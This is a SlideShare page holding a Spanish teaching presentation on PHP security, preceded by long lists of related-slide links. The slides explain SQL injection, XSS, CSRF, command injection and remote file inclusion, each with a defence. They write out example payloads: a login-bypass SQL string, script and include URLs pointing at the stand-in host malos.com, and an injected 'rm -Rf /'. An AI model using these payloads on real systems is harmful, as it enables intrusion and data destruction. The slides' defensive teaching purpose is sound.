Enviar pesquisa
Carregar
Seguridad en PHP (es)
•
Transferir como ODP, PDF
•
4 gostaram
•
3,527 visualizações
Carlos Campderrós
Seguir
Tecnologia
Vista de apresentação de diapositivos
Denunciar
Compartilhar
Vista de apresentação de diapositivos
Denunciar
Compartilhar
1 de 24
Baixar agora
Recomendados
PHP Avanzado: Seguridad Web
PHP Avanzado: Seguridad Web
Rightster
PHP Avanzado: PHP, XML y Servicios Web
PHP Avanzado: PHP, XML y Servicios Web
Rightster
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
7th_Sign
PHP Avanzado: Patrones de diseño
PHP Avanzado: Patrones de diseño
Rightster
PHP Avanzado: Características avanzadas de PHP
PHP Avanzado: Características avanzadas de PHP
Rightster
Desarrollo de aplicaciones web con PHP y symfony
Desarrollo de aplicaciones web con PHP y symfony
Juan Eladio Sánchez Rosas
Adentrándonos al Framework Symfony
Adentrándonos al Framework Symfony
Rodrigo Miranda
Curso Php
Curso Php
larasaregune
Recomendados
PHP Avanzado: Seguridad Web
PHP Avanzado: Seguridad Web
Rightster
PHP Avanzado: PHP, XML y Servicios Web
PHP Avanzado: PHP, XML y Servicios Web
Rightster
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
[Flisol2011] Seguridad en el Desarrollo de Aplicaciones Web PHP
7th_Sign
PHP Avanzado: Patrones de diseño
PHP Avanzado: Patrones de diseño
Rightster
PHP Avanzado: Características avanzadas de PHP
PHP Avanzado: Características avanzadas de PHP
Rightster
Desarrollo de aplicaciones web con PHP y symfony
Desarrollo de aplicaciones web con PHP y symfony
Juan Eladio Sánchez Rosas
Adentrándonos al Framework Symfony
Adentrándonos al Framework Symfony
Rodrigo Miranda
Curso Php
Curso Php
larasaregune
Mis primeros pasos con Symfony 2
Mis primeros pasos con Symfony 2
Edgar Dueñas
Symfony2 Formacion y primeros pasos
Symfony2 Formacion y primeros pasos
Soni BM
Websecurify an dwebgoat terminado
Websecurify an dwebgoat terminado
Araceli Rodriguez
CRUD básico con Symfony
CRUD básico con Symfony
Symfony Zaragoza
Iniciación PHP 5. PHP y MySQL
Iniciación PHP 5. PHP y MySQL
Rightster
Symfony2: Framework para PHP5
Symfony2: Framework para PHP5
Raul Fraile
Mi primer programa en Symfony2
Mi primer programa en Symfony2
César Hernández
Xss con javascript
Xss con javascript
Alan Resendiz
Las buenas prácticas oficiales para aplicaciones Symfony
Las buenas prácticas oficiales para aplicaciones Symfony
symfony_bcn
Symfony2: Interacción con CSS, JS y HTML5
Symfony2: Interacción con CSS, JS y HTML5
Raul Fraile
Introducción a Silex
Introducción a Silex
Symfony Zaragoza
Xss a fondo
Xss a fondo
Alan Resendiz
Iniciación PHP 5. Introducción
Iniciación PHP 5. Introducción
Rightster
Maitaining access
Maitaining access
Tensor
Symfony Parte 2
Symfony Parte 2
Rodrigo Miranda
Iniciación PHP 5. Programación Orientada a Objetos
Iniciación PHP 5. Programación Orientada a Objetos
Rightster
Web app attacks
Web app attacks
Jaime Restrepo
MAITAINING ACCESS
MAITAINING ACCESS
Tensor
Materiales del curso de Symfony2
Materiales del curso de Symfony2
Raul Fraile
Introducción a PHP - Programador PHP - UGR
Introducción a PHP - Programador PHP - UGR
Juan Belón Pérez
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
edelweiss_Deutschland
Die JSTL Tag-Library
Die JSTL Tag-Library
tutego
Mais conteúdo relacionado
Mais procurados
Mis primeros pasos con Symfony 2
Mis primeros pasos con Symfony 2
Edgar Dueñas
Symfony2 Formacion y primeros pasos
Symfony2 Formacion y primeros pasos
Soni BM
Websecurify an dwebgoat terminado
Websecurify an dwebgoat terminado
Araceli Rodriguez
CRUD básico con Symfony
CRUD básico con Symfony
Symfony Zaragoza
Iniciación PHP 5. PHP y MySQL
Iniciación PHP 5. PHP y MySQL
Rightster
Symfony2: Framework para PHP5
Symfony2: Framework para PHP5
Raul Fraile
Mi primer programa en Symfony2
Mi primer programa en Symfony2
César Hernández
Xss con javascript
Xss con javascript
Alan Resendiz
Las buenas prácticas oficiales para aplicaciones Symfony
Las buenas prácticas oficiales para aplicaciones Symfony
symfony_bcn
Symfony2: Interacción con CSS, JS y HTML5
Symfony2: Interacción con CSS, JS y HTML5
Raul Fraile
Introducción a Silex
Introducción a Silex
Symfony Zaragoza
Xss a fondo
Xss a fondo
Alan Resendiz
Iniciación PHP 5. Introducción
Iniciación PHP 5. Introducción
Rightster
Maitaining access
Maitaining access
Tensor
Symfony Parte 2
Symfony Parte 2
Rodrigo Miranda
Iniciación PHP 5. Programación Orientada a Objetos
Iniciación PHP 5. Programación Orientada a Objetos
Rightster
Web app attacks
Web app attacks
Jaime Restrepo
MAITAINING ACCESS
MAITAINING ACCESS
Tensor
Materiales del curso de Symfony2
Materiales del curso de Symfony2
Raul Fraile
Introducción a PHP - Programador PHP - UGR
Introducción a PHP - Programador PHP - UGR
Juan Belón Pérez
Mais procurados
(20)
Mis primeros pasos con Symfony 2
Mis primeros pasos con Symfony 2
Symfony2 Formacion y primeros pasos
Symfony2 Formacion y primeros pasos
Websecurify an dwebgoat terminado
Websecurify an dwebgoat terminado
CRUD básico con Symfony
CRUD básico con Symfony
Iniciación PHP 5. PHP y MySQL
Iniciación PHP 5. PHP y MySQL
Symfony2: Framework para PHP5
Symfony2: Framework para PHP5
Mi primer programa en Symfony2
Mi primer programa en Symfony2
Xss con javascript
Xss con javascript
Las buenas prácticas oficiales para aplicaciones Symfony
Las buenas prácticas oficiales para aplicaciones Symfony
Symfony2: Interacción con CSS, JS y HTML5
Symfony2: Interacción con CSS, JS y HTML5
Introducción a Silex
Introducción a Silex
Xss a fondo
Xss a fondo
Iniciación PHP 5. Introducción
Iniciación PHP 5. Introducción
Maitaining access
Maitaining access
Symfony Parte 2
Symfony Parte 2
Iniciación PHP 5. Programación Orientada a Objetos
Iniciación PHP 5. Programación Orientada a Objetos
Web app attacks
Web app attacks
MAITAINING ACCESS
MAITAINING ACCESS
Materiales del curso de Symfony2
Materiales del curso de Symfony2
Introducción a PHP - Programador PHP - UGR
Introducción a PHP - Programador PHP - UGR
Destaque
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
edelweiss_Deutschland
Die JSTL Tag-Library
Die JSTL Tag-Library
tutego
comparacion
comparacion
ayeayess
093 informe isac mortalidad en el sector acuícola en aguas continentales
093 informe isac mortalidad en el sector acuícola en aguas continentales
Frank Mamani
GEM NEWS
GEM NEWS
Girls Education Mission International
PROMA & SETS Presentation
PROMA & SETS Presentation
Swapan Bose
Prueba
Prueba
Meduca
Boletin
Boletin
Mavi Aguilar
Schulungsunterlagen: Community Funktionen
Schulungsunterlagen: Community Funktionen
edelweiss_Deutschland
Alexander erick
Alexander erick
denny2014
Schulungsunterlagen Buchhändler: Filter speichern
Schulungsunterlagen Buchhändler: Filter speichern
edelweiss_Deutschland
Schulungsunterlagen Buchhändler: Registrierung
Schulungsunterlagen Buchhändler: Registrierung
edelweiss_Deutschland
Social media nutzung von fotografen
Social media nutzung von fotografen
Raluca Piteiu Apostol
Handbuch DIN EN ISO 9001:2008
Handbuch DIN EN ISO 9001:2008
Marcel Fischer
Pecha-Kucha-Session WJAX 2009 "Mein Agiler Koffer" von Christoph Mathis
Pecha-Kucha-Session WJAX 2009 "Mein Agiler Koffer" von Christoph Mathis
Bernd Schiffer
Revista no6 sedeco
Revista no6 sedeco
Monserrat Paz
Comentario al contexto cult.
Comentario al contexto cult.
Jose Alonso Garcia Carmona
Registrierung Vertreter
Registrierung Vertreter
edelweiss_Deutschland
Metodo ipler fabian arce
Metodo ipler fabian arce
Fabian Arce
GOÄ für Notärzte
GOÄ für Notärzte
Dr. Daniel Mauch
Destaque
(20)
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
Schulungsunterlagen Verlage: Verlagsseite bearbeiten
Die JSTL Tag-Library
Die JSTL Tag-Library
comparacion
comparacion
093 informe isac mortalidad en el sector acuícola en aguas continentales
093 informe isac mortalidad en el sector acuícola en aguas continentales
GEM NEWS
GEM NEWS
PROMA & SETS Presentation
PROMA & SETS Presentation
Prueba
Prueba
Boletin
Boletin
Schulungsunterlagen: Community Funktionen
Schulungsunterlagen: Community Funktionen
Alexander erick
Alexander erick
Schulungsunterlagen Buchhändler: Filter speichern
Schulungsunterlagen Buchhändler: Filter speichern
Schulungsunterlagen Buchhändler: Registrierung
Schulungsunterlagen Buchhändler: Registrierung
Social media nutzung von fotografen
Social media nutzung von fotografen
Handbuch DIN EN ISO 9001:2008
Handbuch DIN EN ISO 9001:2008
Pecha-Kucha-Session WJAX 2009 "Mein Agiler Koffer" von Christoph Mathis
Pecha-Kucha-Session WJAX 2009 "Mein Agiler Koffer" von Christoph Mathis
Revista no6 sedeco
Revista no6 sedeco
Comentario al contexto cult.
Comentario al contexto cult.
Registrierung Vertreter
Registrierung Vertreter
Metodo ipler fabian arce
Metodo ipler fabian arce
GOÄ für Notärzte
GOÄ für Notärzte
Semelhante a Seguridad en PHP (es)
Seguridad en aplicaciones web
Seguridad en aplicaciones web
Jose Mato
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
Oscar Javier Gentilezza Arenas
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
guestbfa74a
Hackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injection
degarden
Art hack web-v1-4
Art hack web-v1-4
esmartcrimt
WebAttack - Presentación
WebAttack - Presentación
Marcos Miguel Garcia
Seguridad en php
Seguridad en php
Ricardo Joel Robinson Gonzalez
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
RealTIC
Seguridad
Seguridad
VLASLOV
Introducción a PHP5
Introducción a PHP5
Open University, KMi
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
Helmilpa
Sesiones en-php1536
Sesiones en-php1536
xib32
Sesiones en Php
Sesiones en Php
Ing. Fabian Guerrero Medina
Seguridad En Programación
Seguridad En Programación
vladimir calderon
Desarrollo de sistios web
Desarrollo de sistios web
esmartcrimt
Inyecciones sql para todos
Inyecciones sql para todos
csaralg
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
seguridadelinux
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
acksec
Webinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de Comandos
Alonso Caballero
PHP Tema 7 - Seguridad
PHP Tema 7 - Seguridad
Spacetoshare
Semelhante a Seguridad en PHP (es)
(20)
Seguridad en aplicaciones web
Seguridad en aplicaciones web
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
Hackin9 - Ataques de tipo HTML injection
Hackin9 - Ataques de tipo HTML injection
Art hack web-v1-4
Art hack web-v1-4
WebAttack - Presentación
WebAttack - Presentación
Seguridad en php
Seguridad en php
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
Seguridad
Seguridad
Introducción a PHP5
Introducción a PHP5
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
Sesiones en-php1536
Sesiones en-php1536
Sesiones en Php
Sesiones en Php
Seguridad En Programación
Seguridad En Programación
Desarrollo de sistios web
Desarrollo de sistios web
Inyecciones sql para todos
Inyecciones sql para todos
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
Webinar Gratuito: Inyección de Comandos
Webinar Gratuito: Inyección de Comandos
PHP Tema 7 - Seguridad
PHP Tema 7 - Seguridad
Mais de Carlos Campderrós
LVM (es)
LVM (es)
Carlos Campderrós
Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)
Carlos Campderrós
Introducción a php (es)
Introducción a php (es)
Carlos Campderrós
Formularis - Post/Redirect/Get (ca)
Formularis - Post/Redirect/Get (ca)
Carlos Campderrós
Com estructurar un projecte web (ca)
Com estructurar un projecte web (ca)
Carlos Campderrós
Codificaciones caracteres (es)
Codificaciones caracteres (es)
Carlos Campderrós
Algunes coses d'html, css, seo i web semàntica
Algunes coses d'html, css, seo i web semàntica
Carlos Campderrós
Mais de Carlos Campderrós
(7)
LVM (es)
LVM (es)
Introducció a Sessions en PHP (cat)
Introducció a Sessions en PHP (cat)
Introducción a php (es)
Introducción a php (es)
Formularis - Post/Redirect/Get (ca)
Formularis - Post/Redirect/Get (ca)
Com estructurar un projecte web (ca)
Com estructurar un projecte web (ca)
Codificaciones caracteres (es)
Codificaciones caracteres (es)
Algunes coses d'html, css, seo i web semàntica
Algunes coses d'html, css, seo i web semàntica
Último
Unidad 1- Historia y Evolucion de las computadoras.pdf
Unidad 1- Historia y Evolucion de las computadoras.pdf
MarianneBAyn
taller de tablas en word para estudiantes de secundaria
taller de tablas en word para estudiantes de secundaria
andresingsiseo
Presentacion y Extension de tema para Blogger.pptx
Presentacion y Extension de tema para Blogger.pptx
Taim11
NIVEL DE MADUREZ TECNOLÓGICA (TRL).pptx
NIVEL DE MADUREZ TECNOLÓGICA (TRL).pptx
jarniel1
¡Mira mi nuevo diseño hecho en Canva!.pdf
¡Mira mi nuevo diseño hecho en Canva!.pdf
7adelosriosarangojua
editorial de informática de los sueños.docx
editorial de informática de los sueños.docx
ssusere34b451
Uso de las TIC en la vida cotidiana .
Uso de las TIC en la vida cotidiana .
itzyrivera61103
Gestión de concurrencia y bloqueos en SQL Server
Gestión de concurrencia y bloqueos en SQL Server
RobertoCarrancioFern
Licencias para el Uso y el Desarrollo de Software
Licencias para el Uso y el Desarrollo de Software
Andres Avila
Inteligencia Artificial para usuarios nivel inicial
Inteligencia Artificial para usuarios nivel inicial
Educática
De Olmos Santiago_Dolores _ M1S3AI6.pptx
De Olmos Santiago_Dolores _ M1S3AI6.pptx
doloresolmosantiago
CIBERSEGURIDAD Y SEGURIDAD INFORMATICA .
CIBERSEGURIDAD Y SEGURIDAD INFORMATICA .
llocllajoaquinci00
Pons, A. - El desorden digital - guia para historiadores y humanistas [2013].pdf
Pons, A. - El desorden digital - guia para historiadores y humanistas [2013].pdf
frank0071
Introducción a la robótica con arduino..pptx
Introducción a la robótica con arduino..pptx
Johanna4222
Sistemas distribuidos de redes de computadores en un entorno virtual de apren...
Sistemas distribuidos de redes de computadores en un entorno virtual de apren...
Luis Fernando Uribe Villamil
proyectos_social_y_socioproductivos _mapas_conceptuales
proyectos_social_y_socioproductivos _mapas_conceptuales
ssuserbe0d1c
BUSCADORES DE INTERNET (Universidad de Sonora).
BUSCADORES DE INTERNET (Universidad de Sonora).
jcaballerosamayoa
JORNADA INTELIGENCIA ARTIFICIAL Y REALIDAD VIRTUAL
JORNADA INTELIGENCIA ARTIFICIAL Y REALIDAD VIRTUAL
GuadalinfoHuscarGuad
HerramientasInformaticas ¿Que es? - ¿Para que sirve? - Recomendaciones - Comp...
HerramientasInformaticas ¿Que es? - ¿Para que sirve? - Recomendaciones - Comp...
Kevin Serna
manual-de-oleohidraulica-industrial-vickers.pdf
manual-de-oleohidraulica-industrial-vickers.pdf
profmartinsuarez
Último
(20)
Unidad 1- Historia y Evolucion de las computadoras.pdf
Unidad 1- Historia y Evolucion de las computadoras.pdf
taller de tablas en word para estudiantes de secundaria
taller de tablas en word para estudiantes de secundaria
Presentacion y Extension de tema para Blogger.pptx
Presentacion y Extension de tema para Blogger.pptx
NIVEL DE MADUREZ TECNOLÓGICA (TRL).pptx
NIVEL DE MADUREZ TECNOLÓGICA (TRL).pptx
¡Mira mi nuevo diseño hecho en Canva!.pdf
¡Mira mi nuevo diseño hecho en Canva!.pdf
editorial de informática de los sueños.docx
editorial de informática de los sueños.docx
Uso de las TIC en la vida cotidiana .
Uso de las TIC en la vida cotidiana .
Gestión de concurrencia y bloqueos en SQL Server
Gestión de concurrencia y bloqueos en SQL Server
Licencias para el Uso y el Desarrollo de Software
Licencias para el Uso y el Desarrollo de Software
Inteligencia Artificial para usuarios nivel inicial
Inteligencia Artificial para usuarios nivel inicial
De Olmos Santiago_Dolores _ M1S3AI6.pptx
De Olmos Santiago_Dolores _ M1S3AI6.pptx
CIBERSEGURIDAD Y SEGURIDAD INFORMATICA .
CIBERSEGURIDAD Y SEGURIDAD INFORMATICA .
Pons, A. - El desorden digital - guia para historiadores y humanistas [2013].pdf
Pons, A. - El desorden digital - guia para historiadores y humanistas [2013].pdf
Introducción a la robótica con arduino..pptx
Introducción a la robótica con arduino..pptx
Sistemas distribuidos de redes de computadores en un entorno virtual de apren...
Sistemas distribuidos de redes de computadores en un entorno virtual de apren...
proyectos_social_y_socioproductivos _mapas_conceptuales
proyectos_social_y_socioproductivos _mapas_conceptuales
BUSCADORES DE INTERNET (Universidad de Sonora).
BUSCADORES DE INTERNET (Universidad de Sonora).
JORNADA INTELIGENCIA ARTIFICIAL Y REALIDAD VIRTUAL
JORNADA INTELIGENCIA ARTIFICIAL Y REALIDAD VIRTUAL
HerramientasInformaticas ¿Que es? - ¿Para que sirve? - Recomendaciones - Comp...
HerramientasInformaticas ¿Que es? - ¿Para que sirve? - Recomendaciones - Comp...
manual-de-oleohidraulica-industrial-vickers.pdf
manual-de-oleohidraulica-industrial-vickers.pdf
Seguridad en PHP (es)
1.
PHP SEGURIDAD (o
cómo evitar que los malos nos jodan vivos)
2.
3.
4.
5.
6.
7.
El usuario puede
modificar fácilmente el id de producto a visualizar, y poner, en vez de un número, cualquier otra cosa
8.
¡¡¡Asegurarse que $_GET['id']
es un número!!!
9.
10.
11.
O usando plugins
para el navegador
12.
¡10 minutos de
ejercicio!
13.
14.
15.
16.
17.
<, >, &,
', " en html
18.
', ", $,
;, ` al ejecutar comandos en la terminal
19.
20.
$sql = "SELECT
* FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'";
21.
Si nos envían
usuario 'pepe' y contraseña 'patata'
22.
$sql = "SELECT
* FROM usuarios WHERE username='pepe' AND password='patata';
23.
¡Sin peligro!
24.
25.
Query generado: $sql
= "SELECT * FROM usuarios WHERE username='' OR id=1 -- ' AND password='blabla'"
26.
A partir de
-- es comentario
27.
¡El atacante podría
autenticarse como cualquier usuario!
28.
29.
Login sin usuario
/ contraseña
30.
Obtener registros de
la base de datos (datos bancarios, personales, passwords...)
31.
Eliminar registros o
tablas de la BD
32.
33.
34.
$pdo->quote($variable)
35.
36.
37.
El usuario puede
escribir html que se interpretará como tal
38.
Posibilidades enormes para
un atacante, la más habitual insertar un <iframe> o <script> que cargue una página/script con código malévolo
39.
XSS ataca a
los usuarios de la web, no a la web en si misma (habitualmente)
40.
41.
Habitualmente: foros, perfiles
de usuario
42.
En caso que
no pueda, igualmente podemos (bueno, nuestros usuarios) estar jodidos: vulnerable.php?id=<script src="http://malos.com/script.js"> </script>
43.
Usa un redireccionador
tipo tinyurl para el ataque anterior
44.
45.
htmlspecialchars($texto_usuario);
46.
47.
48.
En otra ventana
del navegador, visita http://malos.com/, donde hay este código: <img src="http://mipagina.com/logout.php" />
49.
Esto provoca que
el navegador del usuario lance una petición a mipagina.com/logout.php, que parece legítima, y desloguea al usuario
50.
51.
El caso del
logout es más o menos inofensivo, aunque molesto
52.
53.
54.
55.
En la siguiente
petición que haya, comprobar la existencia de dicho token (que se habrá enviado en la url o mediante un input hidden)
56.
Si existe y
es el mismo que el de la sesión, todo correcto: procesamos la petición
57.
Si no existe
o es diferente: posible ataque. No hacemos nada
58.
59.
60.
61.
El código de
listar.php incluye: $comando = "ls ".$_GET['carpeta']; echo exec($comando);
62.
63.
La instrucción a
ejecutar quedaría como: ls imagenes; rm -Rf /
64.
2 comandos! listar
el contenido de la carpeta imágenes... y luego borrar todos los archivos del disco duro!
65.
Evitarlo usando escapeshellcmd()
y escapeshellarg()
66.
67.
Internamente, index.php realiza
una cosa similar a require_once($_GET['pagina'].'.php');
68.
Qué pasa si
un atacante accede a index.php?pagina=http://malos.com/script
69.
Bingo... la hemos
jodido!
70.
71.
72.
Poner un ./
al inicio del require (de esta forma se intentaría incluir './http://malos.com/script.php', y fallaría
73.
74.
75.
Usuario root bd
Baixar agora